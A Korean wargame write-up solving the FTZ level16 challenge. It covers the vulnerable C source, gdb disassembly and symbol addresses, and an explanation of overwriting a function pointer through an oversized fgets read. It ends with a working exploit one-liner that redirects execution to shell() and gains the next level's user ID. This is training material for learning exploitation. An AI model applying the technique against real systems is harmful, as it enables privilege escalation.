FTZ level16
문제
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
[level16@ftz level16]$
- call()함수는 printit()함수로 연결되어 있다.
- buf는 20의 크기를 가진다.
- fgets()함수로 48byte크기만큼 buf에 입력한다.
- call() = printit()을 호출한다.
취약점
//#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
/*void printit() {
printf("Hello there!\n");
}*/
main()
{ int crap;
//void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
fgets()로 입력받는 값이 buf보다 크기 때문에 메모리를 덮을 수 있다.
풀이
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
0x08048543 <main+43>: nop
0x08048544 <main+44>: nop
0x08048545 <main+45>: nop
0x08048546 <main+46>: nop
0x08048547 <main+47>: nop
0x08048548 <main+48>: nop
0x08048549 <main+49>: nop
0x0804854a <main+50>: nop
0x0804854b <main+51>: nop
0x0804854c <main+52>: nop
0x0804854d <main+53>: nop
0x0804854e <main+54>: nop
0x0804854f <main+55>: nop
End of assembler dump.
(gdb)
- 0x08048500에는 아마 printit의 주소가 들어있을 것이다.
- 이 값을 ebp-16으로 옮겨간다.
- fgets()함수를 통한 입력은 ebp-56에서부터 시작한다.
- ebp-16의 값(printit)을 eax로 옮겨간다.
- eax를 호출한다.
이 정도만 알면 여러가지 짓을 할 수 있을 것 같다.
시나리오
- ebp-16 즉 call()을 통해 printit을 호출하는 과정에서 ebp-16의 값을 shell함수의 위치로 바꾸기
- ret값을 shell()함수의 위치로 바꾸기 -> 요거 될 줄 알았는디 생각해보니까 call eax과정에서 0x41414141로 빠져서 Segmentation fault 오류가 발생한다. ㅎ;;
풀이
(gdb) x/x 0x08048500
0x8048500 <printit>: 0x83e58955
(gdb)
역시나 0x08048500에는 printit함수가 존재했다.
그림으로 나타내면 이 정도 견적이 나올것이다.
익스코드
(gdb) i fu
All defined functions:
Non-debugging symbols:
0x0804832c _init
0x08048354 __register_frame_info
0x08048364 system
0x08048374 __deregister_frame_info
0x08048384 fgets
0x08048394 __libc_start_main
0x080483a4 printf
0x080483b4 setreuid
0x080483d0 _start
0x080483f4 call_gmon_start
0x08048420 __do_global_dtors_aux
0x08048480 fini_dummy
0x08048490 frame_dummy
0x080484c0 init_dummy
0x080484d0 shell
0x08048500 printit
0x08048518 main
0x08048550 __do_global_ctors_aux
0x08048580 init_dummy
0x08048590 _fini
(gdb)
shell함수의 위치는 0x080484d0이다. ebp-16의 값을 shell함수 값으로 바꿔주자.
[level16@ftz level16]$ (python -c "print 'A'*40 + '\xd0\x84\x04\x08'";cat) | ./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
성공적으로 level17의 권한을 획득했다.